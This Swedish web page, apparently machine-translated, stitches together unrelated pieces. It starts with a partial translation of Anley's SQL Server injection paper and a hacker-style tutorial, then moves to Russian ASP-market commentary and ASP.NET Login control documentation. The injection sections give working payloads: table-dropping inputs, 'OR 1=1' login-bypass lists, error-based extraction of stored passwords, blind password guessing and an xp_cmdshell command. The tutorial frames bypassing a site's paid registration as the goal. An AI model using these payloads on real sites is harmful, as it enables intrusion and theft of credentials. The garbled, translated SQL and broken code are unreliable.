Inloggningskontroll. Strängingångsparameter

Detta arbete är en översättning av en del av Chris Anleys arbete Advanced SQL Injection In SQL Server Applications. ()
I efterföljande artiklar, om det finns ledig tid, kommer denna översättning att slutföras.

P.S. Översättningen kommer att vara av intresse mer för pedagogiska och historiska ändamål.

Artikelns originaltitel: Avancerade SQL-injektioner i applikationer som använder SQL-språket.

anteckning

Den här artikeln diskuterar i detalj de allmänna metoderna för "SQL-injektion" för den välkända Microsoft Internet Information Server/Active Server Pages/SQL Server-plattformen. Den diskuterar de olika användningarna av SQL-injektion i applikationer och förklarar datavalideringstekniker samt säkra databaser som kan använda injektioner.

Introduktion

Structured Query Language (SQL) är ett strukturerat språk som används för att interagera med databaser. Det finns många "dialekter" av SQL-språket, men idag är de mestadels byggda på SQL-92-standarden, en av de tidiga ANSI-standarderna. Den grundläggande operativa enheten för SQL är en fråga, som är en samling uttryck som vanligtvis returnerar en resultatuppsättning. SQL-uttryck kan modifiera strukturen för databaser (med hjälp av datadefinitionsspråk (DLL)-uttryck) och manipulera deras innehåll (med hjälp av datamanipulationsspråk (DML)-uttryck). I detta arbete kommer vi att titta på transact-SQL, som används i Microsoft SQL Server.

SQL-injektion är möjlig när en angripare kan infoga SQL-kod i en fråga för att kontrollera data som skickas till applikationen.

Ett typiskt SQL-uttryck ser ut så här:

Välj id, förnamn, efternamn från författare

Detta uttryck tar "id", "förnamn" och "efternamn" från kolumnerna i tabellen "författare" och returnerar alla rader i tabellen. Provet kan begränsas till en specifik "författare", till exempel:

Välj id, förnamn, efternamn från författare där förnamn = "john" och efternamn = "smed"

Det bör noteras att i den här frågan separeras strängliteraler med enkla citattecken. "förnamn" och "efternamn" antas vara användarinmatning. I det här fallet kommer angriparen att kunna ange sin egen SQL-fråga genom att lägga till sina egna värden till applikationen. Till exempel:

Förnamn: jo"hn Efternamn: smith

Då kommer uttrycket att ha följande form:

Välj id, förnamn, efternamn från författare där förnamn = "jo"hn" och efternamn = "smith"

Efter att databasen försöker bearbeta en sådan begäran kommer följande fel att returneras:

Server: Msg 170, Level 15, State 1, Line 1 Rad 1: Felaktig syntax nära "hn".

Orsaken till felet kommer att vara att det angivna citatet kommer att förstöra avgränsningsstrukturen i frågan. Därför kommer databasen utan framgång att försöka utföra kommandot "hn", vilket kommer att resultera i ett fel. Som ett resultat, om en angripare anger följande information i formuläret:

Förnamn: jo"; släpptabellförfattare-- Efternamn:

Tabellen "författare" kommer att raderas, vi ska titta på varför detta händer senare.

Du kanske tror att om vi tar bort de enskilda citaten från inmatningsformuläret och även "ersätter" dem, så kan detta lösa vårt problem. Och du kommer att ha rätt, men det finns några problem med att använda den här metoden som en lösning på detta problem. För det första är inte all användarinmatning "strängar". Om användarformuläret kommer att innehålla författarens "id", vilket vanligtvis är ett nummer. Till exempel kan vår begäran se ut så här:

Välj id, förnamn, efternamn från författare där id=1234

I det här fallet kan en angripare enkelt lägga till valfritt SQL-uttryck efter numeriska data. Andra typer av SQL-frågor använder olika avgränsare. Till exempel, i Microsoft Jet DBMS kommer avgränsaren att vara tecknet "#". För det andra är det inte alls det enklaste sättet att skydda det att "fly" enstaka citat, som det kan tyckas först. Vi kommer att prata mer om detta senare.

Här är ett exempel baserat på en Active Server Pages (ASP)-baserad inloggningssida som använder SQL för att komma åt en databas för att auktorisera en användare till ett program.

Här är koden för sidan som innehåller inloggningsformuläret där du anger ditt användarnamn och lösenord.

Inloggningssida Inloggning

Användarnamn:
Lösenord:

Nedan finns koden (process_login.asp) som bestämmer riktigheten av de inmatade uppgifterna.

p ( font-size=20pt ! viktigt) font ( font-size=20pt ! viktigt) h1 ( font-size=64pt ! viktigt) if (rso.EOF) ( rso.close(); ÅTKOMST NEKAD ) else( %> 0) ( Login(cn); ) ) cn.close(); Main(); %>

Sårbarheten här finns i "process_login.asp", vilket skapar en begäran så här:

Var sql = "välj * från användare där användarnamn = "" + användarnamn + "" och lösenord = "" + lösenord + """;

Om användaren anger:

Användarnamn: "; släpptabellanvändare-- Lösenord:

Tabellen "användare" kommer att raderas, vilket kommer att neka åtkomst till applikationen för alla användare. Kombinationen "--" i Transact-SQL definierar en enkelradskommentar och ";" markerar slutet på en rad och början på en annan. Två på varandra följande streck i den här frågan används för att slutföra frågan utan fel.

Dessutom kan en angripare logga in på systemet under vilket användarnamn som helst med hjälp av följande konstruktion:

Användarnamn: admin"--

Och genom att ange följande information kommer en angripare att kunna logga in på systemet som en fiktiv användare:

Användarnamn: " union select 1, "fictional_user", "some_password", 1--

Anledningen till att detta fungerar är att applikationen kommer att "tro" att dummyresultatet som returneras är en uppsättning poster från databasen.

Få information baserad på felmeddelanden

Uppfinnaren av denna teknik är David Litchfield, en forskare inom området penetrationstestning (i syfte att testa ett säkerhetssystem). David skrev senare en artikel om detta ämne, som många andra författare har hänvisat till. Hans arbete förklarar mekanismen för att använda felmeddelanden - tekniken "felmeddelande". I sitt arbete förklarar han denna teknik fullt ut för läsarna och ger ytterligare impulser till utvecklingen av sin egen förståelse av detta problem.

För att lyckas manipulera data måste en angripare känna till strukturen för de databaser och tabeller som han vill få tillgång till. Till exempel skapades vår "användare"-tabell med följande kommando:

Skapa tabellanvändare (id int, användarnamn varchar(255), lösenord varchar(255), privs int)

Och innehåller följande användare:

Insert into users values(0, "admin", "r00tr0x!", 0xffff) insert into users values(0, "guest", "guest", 0x0000) insert into users values(0, "chris", "password", 0x00ff) infoga i användarvärden(0, "fred", "sesam", 0x00ff)

Låt oss säga att vår hacker vill infoga sitt eget register i tabellen. Det är osannolikt att han kommer att lyckas om han inte känner till dess struktur. Men även om han lyckas, kommer innebörden av "privs"-fältet att förbli oklart. En angripare kan infoga värdet "1", skapa ett konto med låga privilegier, medan han behöver åtkomst på applikationsadministratörsnivå.

Lyckligtvis, för en hackare, är standard ASP-beteendet för fel att visa meddelanden om dem, använda dem för att helt bestämma strukturen på databasen och därför ta reda på värdena för alla fält från användarkonton som läggs in i applikationen databas.

(I följande exempel kommer vi att använda databasen som föreslagits ovan, såväl som ett asp-skript, för att visa denna teknik i aktion.)

Först kommer angriparen att vilja bestämma namnen på tabellerna som frågorna fungerar på, samt namnen på fälten. För att uppnå detta mål kommer en angripare att använda "ha"-konstruktionen i det valda uttrycket:

Användarnamn: "har 1=1--

Vilket kommer att orsaka följande fel:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e14" Kolumnen "users.id" är ogiltig i urvalslistan eftersom den inte ingår i en aggregerad funktion och det finns ingen GROUP BY-sats. /process_login.asp, rad 35

Alltså att känna till namnen på tabellerna och namnet på den första kolumnen i den. Denna procedur kan fortsätta med operatorn "gruppa efter", som visas nedan:

Användarnamn: " group by users.id med 1=1--

(vilket i sin tur kommer att generera ett nytt fel)

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e14" Kolumnen "users.username" är ogiltig i urvalslistan eftersom den inte finns i vare sig en aggregerad funktion eller GROUP BY-satsen. Som ett resultat kommer hackaren att komma med följande konstruktion:
" group by users.id, users.username, users.password, users.privs som har 1=1--
Vilket inte orsakar ett fel och kommer att motsvara:
välj * från användare där användarnamn = ""
På så sätt vet angriparen att begäran endast påverkar tabellen "användare", vars struktur är "id, användarnamn, lösenord, privs" (i den ordningen). Denna information kommer att vara användbar om du kan ta reda på vilken datatyp som används i var och en av kolumnerna. Information om datatypen kan erhållas med "typkonvertering", till exempel:
Användarnamn: " union välj summa (användarnamn) från användare--
Poängen med summ()-funktionen är att SQL-servern försöker köra den innan den avgör om värdet är numeriskt eller tecken. Att försöka beräkna "summan" av ett textfält kommer att resultera i följande fel:
Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07" Summan eller genomsnittlig aggregatoperation kan inte ta en varchar-datatyp som ett argument. /process_login.asp, rad 35
Vilket talar om för oss att datatypen i fältet "användarnamn" är varchar. Å andra sidan, om vi försöker utvärdera sum() av ​​en numerisk typ, kommer vi att få ett meddelande som meddelar oss att antalet tecken i uppsättningen av två textsträngar inte matchar:
Användarnamn: " union välj summa(id) från användare-- Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e14" Alla frågor i en SQL-sats som innehåller en UNION-operator måste ha lika många uttryck i sina mållistor. /process_login.asp , rad 35
Vi kan använda en liknande teknik för att bestämma datatypen för nästan vilken kolumn som helst, vilken tabell som helst i databasen. Vilket i sin tur kommer att hjälpa angriparen att skapa en välskriven "infoga"-förfrågan, till exempel:
Användarnamn: "; infoga i användarvärden(666, "attacker", "foobar", 0xffff)--
Algoritmens möjligheter slutar dock inte där. En hackare kan få användbar information från fel om miljön eller själva databasen. En lista över standardfel kan erhållas med hjälp av konstruktionen:
välj * från master..sysmessages
Genom att fylla i denna förfrågan kan du få mycket intressant information. Särskilt användbar är informationen om typkonvertering. Om du försöker konvertera en sträng till ett heltal, returneras ett meddelande som innehåller hela innehållet i strängen. I vårt exempel kommer "användarnamn"-konverteringen att returnera SQL-serverversionen såväl som operativsystemversionen.
Användarnamn: " union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntaxfel vid konvertering av nvarchar-värdet "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition på Windows NT 5.0 (Build 2195: Service Pack 2)" to a column of data type int. /process_login.asp, line 35 !}
I exemplet ovan kommer vi att försöka konvertera den inbyggda konstanten "@@version" till ett heltalsvärde, eftersom den första kolumnen i tabellen "användare" är av denna datatyp. Metoden kan användas för att läsa vilket värde som helst i vilken tabell som helst i databasen. Således, om en angripare vill ta reda på användarnamn och lösenord, kommer han troligen att använda följande konstruktion för att läsa data:
Användarnamn: " union välj min(användarnamn),1,1,1 från användare där användarnamn > "a"--
Att välja en användare vars "användarnamn" är större än "a" kommer att resultera i ett försök att konvertera typer till ett heltalsvärde:
Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07" Syntaxfel vid konvertering av varchar-värdet "admin" to a column of data type int. /process_login.asp, line 35 !}
Därför kommer vi att få en lista över användare, varefter vi kan fortsätta för att erhålla lösenord:
Användarnamn: " union välj lösenord,1,1,1 från användare där användarnamn = "admin"-- Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07" Syntaxfel vid konvertering av varchar-värdet "r00tr0x!" to a column of data type int. /process_login.asp, line 35 !}
Ett mer elegant sätt är att extrahera alla användarnamn och lösenord i ett exempel och sedan försöka konvertera dem till ett heltalsvärde. Det bör noteras att Transact-SQL-uttryck kan kombineras till en rad utan att ändra deras betydelse - tänk på följande exempel:
börja deklarera @ret varchar(8000) set @ret=":" välj @ret=@ret+" "+användarnamn+"/"+lösenord från användare där användarnamn>@ret välj @ret som ret in foo end
Uppenbarligen kommer angriparen att "logga in" med detta användarnamn:
Användarnamn: "; börja deklarera @ret varchar(8000) set @ret=":" välj @ret=@ret+" "+användarnamn+"/"+lösenord från användare där användarnamn>@ret välj @ret som ret in foo end- -
Denna fråga kommer att skapa en tabell foo, som kommer att innehålla en enda kolumn "ret", som kommer att innehålla alla våra rader. Ofta har även en användare med låg privilegie möjlighet att skapa en tabell i en databas, eller till och med en tillfällig databas. En angripare kan alltså välja alla rader från denna tabell, precis som i föregående exempel:
Användarnamn: " union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntaxfel vid konvertering av varchar-värdet ": admin/r00tr0x! gäst/gäst chris/lösenord fred /sesam" to a column of data type int. /process_login.asp, line 35 !}
Och sedan kommer han att täcka sina spår genom att ta bort tabellen:
Användarnamn: "; drop table foo--
Ovanstående exempel visar oss all flexibilitet som denna algoritm erbjuder. Det behöver inte sägas att om en angripare lyckas orsaka ett fel vid åtkomst till databasen, blir deras jobb mycket lättare. /process_login.asp, rad 35

SQL Injection är en ganska bra möjlighet för en hackare att få
åtkomst till servern. Och med lite ansträngning, han
får det fortfarande :)

Kodare inuti

Numera stöds arbetet med databaser
nästan alla programmeringsspråk, dessa inkluderar BASIC, C++, Java, PERL, PHP, Assembler och till och med JavaScript! Och dessa program kallas inget annat än DBMS - databashanteringssystem. Databaser används ofta för att lösa ekonomiska problem,
redovisning, personalorganisation, men de har även hittat sin applikation på Internet.

Databaser används ofta för att skriva WEB-applikationer. Deras användning är mest lämplig för att lagra användarregistreringsdata, sessionsidentifierare, organisera sökningar, såväl som andra uppgifter som kräver mer bearbetning
mängd data. För att komma åt databasen används serverteknologier: PHP, PERL, ASP, etc. Det är här det roliga börjar. När du är på servern
alla patchar är installerade och brandväggen blockerar alla portar utom port 80 eller när autentisering krävs för att komma åt vissa data kan en hackare använda SQL Injection för att hacka. Kärnan i denna attack är att utnyttja ett fel i skärningspunkten mellan WEB-teknik och SQL. Faktum är att många webbsidor bildar en speciell SQL-fråga till databasen för att bearbeta användardata. Slarvig användning av denna teknik kan leda till ganska intressanta resultat...

SQL-injektion

För att förklara attacken, låt oss föreställa oss att du gick till webbplatsen för att ladda ner ett mycket viktigt verktyg och noterade med fasa att endast en registrerad användare kan göra detta, och registrering kostar naturligtvis pengar 🙂 Du vill inte ge bort din senast intjänade pengar, men du kan inte göra det utan programmet! Det är dags att komma ihåg hur
komma åt SQL-databaser. Om du till exempel kontrollerar ditt användarnamn och lösenord i PHP kan det se ut så här:

$result=mysql_db_query($db,"VÄLJ * FRÅN $table WHERE user="$login" OCH
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($länk);
if ($antal_rader!=0)
{
// AUTENTICERING OK
}
annan
{
// VERIFIERINGSFEL
}

Jag lade till två kommentarer, "AUTENTIKERING OK" - jag borde byta ut den
gå till koden som kommer att köras om lösenordet och inloggningen är korrekta. Ett annat "autentiseringsfel" är en plats där koden som kommer att exekveras om de är felaktiga kommer att beskrivas. Om du fyller i formuläret kommer begäran att se ut som "http://www.server.com?login=user&password=31337", där www.server.com är namnet
servern vi försöker ansluta till. Vi hittade det vi letade efter, och därför kommer vi att återgå till att arbeta med SQL igen. Så, om du måste ange en inloggning och ett lösenord för auktorisering, kommer den genererade SQL-frågan att se ut så här:

VÄLJ * FRÅN användare WHERE login="användare" OCH
lösenord="31337"

Detta betyder ungefär så här: returnera till mig alla poster från användardatabasen vars inloggning är "användare" och lösenordet är "31337". Om en sådan post finns så är användaren registrerad, men om inte så inte... Men under vissa omständigheter kan allt korrigeras. Detta hänvisar till situationen när applikationen inte kontrollerar innehållet i de överförda data eller inte kontrollerar det helt för närvaron av SQL-instruktioner. I det här exemplet är två fält inloggning och lösenord kontrollerade, men om du anger ”31337′ AND email=” som lösenord [e-postskyddad]”(utan dubbla citattecken), då blir frågan lite annorlunda:

VÄLJ * FRÅN användare WHERE login="användare" OCH lösenord="31337" OCH
email=" [e-postskyddad]"

Och om e-postfältet finns kommer även detta villkor att kontrolleras. Om du kommer ihåg grunderna i boolesk algebra, kommer du att tänka på att förutom operationen "och" finns det också ett "eller", och eftersom deras användning stöds av SQL, kan du
på det beskrivna sättet, lägg till ett villkor som alltid returnerar sant. För att göra detta måste du ange "användare" ELLER 1=1—" som inloggning, i vilket fall begäran kommer att ha formen:

VÄLJ * FRÅN användare WHERE login="användare" ELLER 1=1--" OCH
lösenord="31337"

Först bör du veta att "—" betyder slutet på begäran, och allt efter "—"
kommer inte att behandlas! Det visar sig att vi gjorde en begäran:

VÄLJ * FRÅN användare WHERE login="användare" ELLER 1=1

Som du kan se har vi lagt till villkoret "1=1", vilket betyder att verifieringskriteriet kommer att vara "om inloggningen är 'användare' eller 1=1", men 1 är alltid lika med 1 (det enda undantaget kan vara Dani Shepovalovs aritmetik :)). För att testa våra misstankar
Ange "http://www.server.com?login=user or 1=1—&password=31337" i adressfältet. Detta leder till att det inte spelar någon roll vilken inloggning vi angett, men
speciellt lösenordet! Och vi är i matrisen... åh, i systemet och kan lugnt ladda ner det vi behöver.

Men allt detta är i teorin. I praktiken vet vi inte hur begäran bildas, vilka data som överförs och i vilken ordningsföljd. Därför är det nödvändigt att ange "användare" ELLER 1=1—" för alla fält. Du bör också kontrollera inlämningsformuläret för dolda fält. I HTML beskrivs de som "". Om det finns några, spara sidan och ändra värdena för dessa fält. Värdena som finns i dem glöms ofta bort att kontrolleras för närvaron av SQL-satser. Men för att allt ska fungera bör du ange den fullständiga sökvägen till skriptet i formuläret (taggen "FORM") för parametern "ACTION" som behandlar denna begäran.

Men det är inte alltid känt hur begäran bildas,
Det föregående exemplet kan utformas på följande sätt:

VÄLJ * FRÅN användare WHERE (login="användare" OCH lösenord="31337")
VÄLJ * FRÅN användare WHERE login="användare" OCH lösenord="31337"
VÄLJ * FRÅN användare WHERE login=användare OCH lösenord=31337

I det här fallet kan du prova följande alternativ:

’ELLER 1=1—
» ELLER 1=1—
ELLER 1=1—
’ ELLER ’a’=’a
"ELLER "a"="a
') ELLER ('a'='a
ELLER '1'='1'

Allt beror på syftet med skriptet och på programmeraren. Eftersom varje person tenderar att göra allt på sitt eget sätt, är det mycket möjligt att programmeraren inte kommer att välja det enklaste alternativet. Därför bör du inte omedelbart
ge upp om du blir avvisad. Nödvändig
prova så många alternativ som möjligt...

Lösenordsdetektering

Att kringgå auktorisering är inte dåligt, men väldigt ofta stängs hålet du använder och allt som var tillgängligt för dig går förlorat.
Detta är att förvänta om programmeraren inte är en dåre
Med tiden kommer det att täppa till alla kryphål. Du kan enkelt bli av med sådana situationer genom att ta hand om det i förväg. Den korrekta lösningen kan vara att gissa lösenordet med hjälp av
analys av autentiseringsresultat. Låt oss först försöka gissa lösenordet, för att göra detta anger du dess plats:

'ELLER lösenord>'a

Om vi ​​får veta att auktoriseringen har godkänts, då lösenordet
börjar inte med bokstaven "a", utan med något av följande på listan. Låt oss gå vidare och ersätta
placera "a", nästa "b", "c", "d", "e"... osv. tills de säger till oss att lösenordet inte är korrekt. Låt denna process stanna vid symbolen "x", i vilket fall två alternativ för utveckling av situationen skapas: lösenordet hittas eller lösenordet börjar med denna symbol. För att kontrollera det första alternativet, skriv lösenordsplatsen:

'ELLER lösenord='x

och om lösenordet accepteras och du får komma in, då gissade du lösenordet! Nej, då ska du välja det andra tecknet,
exakt samma, från början. Kontrollera om det finns två tecken
behöver detsamma. I slutändan kommer du att få ett lösenord, och du kommer att leta efter en inloggning på samma sätt :)
Om det hittade lösenordet och inloggningen inte passar dig kan du hitta andra. För att göra detta måste du börja kontrollera från det sista tecknet i det hittade lösenordet. Så om lösenordet var "xxx", är det nödvändigt att kontrollera existensen av lösenordet
"xxxy":

'ELLER lösenord='xxx

för att inte missa mer än ett alternativ!

MS SQL Server

MS SQL Server är i allmänhet en skänk från gud om den nödvändiga filtreringen missas. Med hjälp av SQL Injection sårbarheten kan du köra
kommandon på fjärrservern med exec master..xp_cmdshell. Men att använda denna design
SELECT-operationen måste slutföras. I SQL separeras satser med semikolon. Därför, för att ansluta till viss IP via Telnet, måste du ange lösenordet/inloggningsplatsen:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server har flera intressanta funktioner som låter dig ta reda på inloggningar och lösenord lagrade i databasen. För att göra detta omdirigeras felutdata till en godtycklig server och genom dem
analys, kan du ta reda på namnet på tabellen, fält och deras typer. Därefter kan du begära

' UNION SELECT TOP 1 inloggning FRÅN användare—

(login är namnet på fältet som innehåller inloggningen, och användare är namnet på tabellen,
semi-forskare i processen med felanalys).

Svaret kan vara:


Syntaxfel vid konvertering av nvarchar-värdet "admin" to a column of data type int. !}
/default.asp, rad 27

Nu vet vi att det finns en användare som heter "admin". Nu kan vi få hans lösenord:

' UNION SELECT TOP 1 lösenord FRÅN användare där login='admin'—

Resultat:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "xxx" to a column of data type int. !}
/tedault.asp, rad 27

Nu vet vi att det finns en användare "admin" med lösenordet "xxx". Med detta kan du säkert
använd den och logga in i systemet 😉

Men det finns många andra funktioner för att arbeta med SQL,
När du arbetar med en databas kan du också ta bort data, ändra den, infoga din egen och till och med manipulera filer och arbeta med registret.
I allmänhet reglerar SQL Server :)

Skydd

Men allt detta kan naturligtvis undvikas. För att göra detta kan du
använda filter,
tillhandahålls av tillverkarna. Du kan hitta dina egna lösningar, till exempel att ersätta alla singel
dubbla citattecken (om vi använder enkla citattecken för en SQL-fråga), eller vice versa. Du kan bara tillåta användning av bokstäver och s@baki, om du behöver gå in
e-postadress. Och i pearl finns en fantastisk
funktionen 🙂 quote() i DBI::DBD-modulen, som framgångsrikt gör din fråga SQL säker. Det finns många lösningar, du behöver bara dem
utnyttja. Annars, varför då allt detta...

För närvarande kan det inte sägas att en fullfjädrad ASP-marknad har bildats i Ryssland. Ryska användare, för det mesta, uppfattar fortfarande inte ASP-konceptet som användbart för sin verksamhet. För närvarande (när den här artikeln skrivs) finns det inte ett enda framgångsrikt exempel på fullskalig implementering av ASP-modellen i ett stort företag på den ryska marknaden. I själva verket finns det bara värd, individuella implementerade delar av ASP-modellen, företag som vill engagera sig i ASP-verksamhet, etc. Det vill säga att det inte finns någon implementering av den klassiska ASP-modellen i Ryssland ännu.

Nu på den ryska marknaden är ASP-modellen endast tillämplig på personliga e-posttjänster (Mail.ru, Beep.ru, Freemail.ru, etc.) och specialiserade högteknologiska tjänster (till exempel banner- och sökmotorer, internetstatistiksystem , etc.) . Samtidigt innebär att hyra posttjänster inte bara att tillhandahålla en personlig brevlåda till varje enskild användare. Gratis e-postservrar används i stor utsträckning inom företagssektorn av småföretag och privata entreprenörer. Huvudkunderna för sådana tjänster är företag som vill organisera en företags e-posttjänst (eller automatisera företagsdokumentflöde) eller internetleverantörer (till exempel portaler Rambler.ru, Yandex.ru, etc.) som vill organisera en gratis webbposttjänst för sin publik.

Det finns ett visst intresse bland ryska användare för att hyra elektroniska butiker (showcases på en elektronisk handelsplattform). Och detta är ganska förståeligt. Eftersom det fortfarande finns väldigt, väldigt få framgångsrika exempel på onlinehandel i Ryssland (trots ett antal företags högljudda uttalanden om deras imponerande prestationer), verkar det mest rimligt att spendera en storleksordning mindre pengar på att hyra en elektronisk butik (än köpa och underhålla det). Om projektet misslyckas kan det stängas ganska snabbt och utan betydande förluster. Uthyrning av ERP-applikationer, som är utbredd i västvärlden, är nu i Ryssland endast på stadium av pilotprojekt.

Till de applikationer som erbjuds för uthyrning finns både relativt enkla kontorssviter (som MS Office) och mer komplexa applikationer (som Lotus Smart Suite), samt affärssystem (som Navision Axapta).

Huvudproblem och funktioner på den ryska ASP-marknaden.

10.2 Problem på den ryska marknaden.

För närvarande ligger den ryska ASP-marknaden efter den globala ASP-marknaden med åtminstone flera år. Det embryonala tillståndet på den ryska ASP-marknaden orsakas av ett antal problem som finns på den. De viktigaste av dessa problem är:

1. Den ryska ekonomins allmänna eftersläpning från den västra och underutvecklingen av företagens tekniska infrastruktur. Fram till nu har de flesta ryska företag arbetat med teknisk infrastruktur som skapades för decennier sedan. För närvarande är företagens investeringar i moderniseringen fortfarande otillräckliga. Och här är problemet snarare företagens ekonomiska prioriteringar, eftersom inte alla kan investera de nödvändiga medlen i att modernisera den tekniska infrastrukturen. Därför måste de lösa sina nuvarande problem med hjälp av den befintliga infrastrukturen.

2.Låg efterfrågan på ASP-tjänster. Befolkningen och företagskunder är inte redo (för det mesta) att betala för ASP-tjänster. Medan den genomsnittliga ryska konsumenten nu helt enkelt har mer pressande och viktiga utgiftsprioriteringar, tar företagsanvändare ännu inte ASP-tjänster på allvar.

3.Svaghet i den rättsliga ramen för den elektroniska marknaden. Innan ett fullständigt paket med lagar har antagits behöver man inte prata om utvecklingen av den elektroniska marknaden (inklusive ASP).

4. Stängd finansiell rapportering för företagskunder (särskilt de mest solventa företagen).

5. Motstånd från IT-avdelningar (både explicit och implicit) hos stora företag, som måste fokusera på andra uppgifter, minska anställda och IT-budgetar osv.

6. Ett litet antal applikationer som kan användas i ASP-modellen för ryska företag.

7. Närvaron på den ryska arbetsmarknaden av ett ganska stort antal IT-specialister på ingångsnivå och mellannivå med relativt låga löner. Efter krisen 1998 låg den stora majoriteten av lönerna för IT-specialister kvar på samma nivå efter krisen. Det är ibland billigare för små och medelstora företag att upprätthålla sina egna IT-tjänster än att betala för ASP-tjänster (till skillnad från västerländska företag, där situationen är precis den motsatta).

Inloggningskontroll

Inloggningskontrollen gör det enkelt att skapa en inloggningssida för formulärautentisering i samband med Membership API. Det tillhandahåller ett användargränssnitt som är färdigt att använda som frågar efter användarens namn och lösenord och erbjuder en knapp för användaren att logga in. Bakom kulisserna kapslar den in funktionaliteten som beskrevs i den tidigare artikeln: verifiera användaridentiteter genom Membership API och kapslar in grundläggande formulärautentiseringsfunktioner, såsom omdirigering till den ursprungligen begärda sidan i ett säkert område av applikationen efter en framgångsrik logga in.

Det betyder att Login kapslar in saker som Membership.ValidateUser() eller FormsAuthentication.RedirectFromLoginPage(), så du behöver inte skriva den koden själv. Bilden nedan visar inloggningskontrollen i aktion:

När användaren klickar på knappen Logga in, verifierar kontrollen automatiskt användarnamnet och lösenordet med funktionen Membership.ValidateUser() och anropar sedan FormsAuthenication.RedirectFromLoginPage() om verifieringen lyckas. Alla inloggningskontrollalternativ påverkar indata som den levererar till dessa metoder. Om du till exempel markerar kryssrutan Kom ihåg mig nästa gång kommer den att skicka värdet true i parametern createPersistentCookie för metoden RedirectFromLoginPage() . Därför skapar FormsAuthenticationModule en beständig cookie.

Bakom kulisserna är Login en ASP.NET-kompositkontroll. Den är helt utdragbar - i den meningen att den låter dig åsidosätta alla layoutstilar och egenskaper, samt fånga upp emitterade händelser för att åsidosätta dess standardbeteende. Om du lämnar kontrollen som den är och inte avlyssnar några händelser kommer den automatiskt att använda medlemsleverantören som är konfigurerad för applikationen.

Den enklaste formen av en inloggningskontroll på en sida ser ut så här:

Det finns flera egenskaper tillgängliga för att ändra utseendet på inloggningskontrollen. Du kan använda olika stilinställningar enligt nedan:

Du kan också använda CSS-klasser för att anpassa utseendet på inloggning. Varje stilegenskap som stöds av inloggningskontrollen inkluderar en CssClass-egenskap. Som med alla andra ASP.NET-kontroller låter den här egenskapen dig ange namnet på en CSS-klass som tidigare lagts till på webbplatsen. Låt oss anta att följande CSS-stilmall har lagts till i projektet, med filnamnet MyStyles.css:

MyLoginTextBoxStyle (markör: pekare; bakgrundsfärg: gul; text-align: center; padding:6px; border: pricked black; font-family: Verdana; vertical-align: middle; ) .Login (display:inline-block; ) .Title ( utfyllnad: 6px; )

Denna stilfil kan inkluderas på inloggningssidan för att kunna utforma inloggningselementet:

Tabellen nedan listar de stilar som stöds av inloggningskontrollen. Varje stil fungerar på samma sätt. Teckensnitts- och färgegenskaperna kan ställas in direkt, eller så kan du använda egenskapen CssClass för att ange önskad CSS-klass:

Stilar som stöds av inloggningskontrollen Stilbeskrivning
CheckBoxStyle

Definierar stilegenskaperna för kryssrutan Kom ihåg mig nästa gång.

FailureStyle

Definierar stilen för texten som visas när inloggningen misslyckas.

HyperLinkStyle

Inloggningskontrollen låter dig definiera flera typer av hyperlänkar, till exempel till den första registreringssidan. Den här stilen anger utseendet på sådana hyperlänkar

Instruktionstextstil

Inloggningskontrollen låter dig ange hjälptext som visas direkt i inloggningskontrollen. Denna stil anger utseendet på denna text

LabelStyle

Definierar stilen för etiketterna Användarnamn och Lösenord.

LoginButtonStyle

Definierar stilen på inloggningsknappen

TextBoxStyle

Definierar stilen för textfälten Användarnamn och Lösenord.

TitleTextStyle

Definierar titeltextstilen för inloggningskontrollen

ValidatorTextStyle

Definierar stilar för kontroller som används för att validera en användares namn och lösenord

Användargränssnittet för inloggningselementet är inte bara anpassat genom dessa stilar; Andra ytterligare egenskaper är inriktade på specifika delar av kontrollens innehåll, såsom knappen Logga in, som också låter dig anpassa GUI.

Du kan till exempel välja texten som visas på inloggningsknappen, eller till och med visa en hyperlänk istället för den här knappen (som är inställt som standard). Dessutom kan du lägga till flera hyperlänkar till inloggningskontrollen, till exempel en länk till en hjälpsida eller en registreringssida. Båda sidorna bör vara öppna för anonym åtkomst, eftersom hjälp även bör erbjudas till anonyma användare (kom ihåg att om någon ser inloggningskontrollen så är de potentiellt en anonym användare). För att inkludera ytterligare länkar i inloggning, ändra den tidigare visade definitionen enligt följande:

...

Den här koden visar ytterligare två länkar, en till hjälpsidan och en till den första registreringssidan, och lägger även till kort instruktionstext under rubriken Login-element:

Stilarna som beskrivits tidigare gäller även för dessa egenskaper. Tabellen nedan beskriver viktiga egenskaper för att konfigurera inloggningskontrollen:

Viktiga egenskaper för att anpassa inloggningskontrollen egendomsbeskrivning
Meddelandetext
Titeltext

Text som ska visas i kontrollens titel

Instruktionstext

Den här egenskapen har redan använts i det tidigare kodavsnittet. Innehåller texten som visas under kontrollens titel

FailureText

Text som visas av inloggningskontrollen om inloggningsförsöket misslyckas

AnvändarnamnLabelText

Text visas som en etikett före användarnamnets textfält

PasswordLabelText

Text visas som en etikett före textfältet för användarlösenordet

Användarnamn

Initialt värde för att fylla i textfältet för användarnamn

UsernameRequiredErrorMessage

Felmeddelande visas om användaren inte anger ett namn

PasswordRequiredErrorMessage

Felmeddelande visas om användaren inte har angett något lösenord

Inloggningsknapp
LoginButtonText

Text som visas på inloggningsknappen

LoginButtonType
LoginButtonImageUrl

Om inloggningsknappen visas som en grafisk bild måste du ange URL:en där bilden finns

Login sida
DestinationPageUrl

Om inloggningsförsöket lyckas omdirigerar inloggningskontrollen användaren till den här sidan. Som standard är den här egenskapen tom. Om den är tom används ramverket för formulärautentisering för att omdirigera till antingen den ursprungliga begärda sidan eller standardwebbadressen som konfigurerats i web.config för formulärautentisering

FailureAction

